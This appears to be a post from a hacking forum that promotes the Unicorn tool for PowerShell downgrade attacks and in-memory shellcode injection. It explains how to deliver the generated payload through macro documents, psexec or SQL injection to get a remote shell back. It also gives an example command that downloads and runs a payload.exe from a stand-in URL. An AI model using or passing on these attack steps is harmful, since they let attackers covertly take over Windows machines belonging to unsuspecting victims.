Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Unicorn Downgrade Attack & Inject Shellcode Straight into Memory

I have been studying and using Unicorn for 8 months now and i decided to share how it actually works with you Folks,You can even make a macro Doc exploit with this tool.A unicorn is a simple tool for using a PowerShell downgrade attack and inject shellcode straight into memory. Based on Matthew Graeber’s PowerShell attacks and the PowerShell bypass technique presented by David Kennedy (TrustedSec) and Josh Kelly at Defcon 18.

Usage is simple, just run Magic Unicorn (ensure Metasploit is installed if using Metasploit methods and in the right path) and the magic unicorn will automatically generate a PowerShell command that you need to simply cut and paste the Powershell code into a command line window or through a payload delivery system. Unicorn supports your own shellcode, cobalt strike, and Metasploit.

                                                       
POWERSHELL ATTACK INSTRUCTIONS



Everything is now generated in two files, powershell_attack.txt and unicorn.rc. The text file contains all of the code needed in order to inject the PowerShell attack into memory. Note you will need a place that supports remote command injection of some sort. Often times this could be through an excel/word doc or through psexec_commands inside of Metasploit, SQLi, etc..

There are so many implications and scenarios to where you can use this attack at. Simply paste the powershell_attack.txt command in any command prompt window or where you have the ability to call the PowerShell executable and it will give a shell back to you. This attack also supports windows/download_exec for a payload method instead of just Meterpreter payloads. When using the download and exec, simply put python unicorn.py windows/download_exec url=https://www.thisisnotarealsite.com/payload.exe and the PowerShell code will download the payload and execute.

Note: You will need to have a listener enabled in order to capture the attack.


Spoiler (Click to View)
Am Rich in Real Life.


Possibly Related Threads...
Thread / Author Replies Views Last Post
by A0x00Jul 6, 2017 02:20 PM 2 245 Jul 6, 2017 02:20 PM
Last Post: A0x00
by spirited_wolf™May 24, 2016 09:31 AM 0 186 May 24, 2016 09:31 AM
Last Post: spirited_wolf™
by cybersecretsMar 20, 2016 03:50 AM 33 2,580 Mar 20, 2016 03:50 AM
Last Post: altriop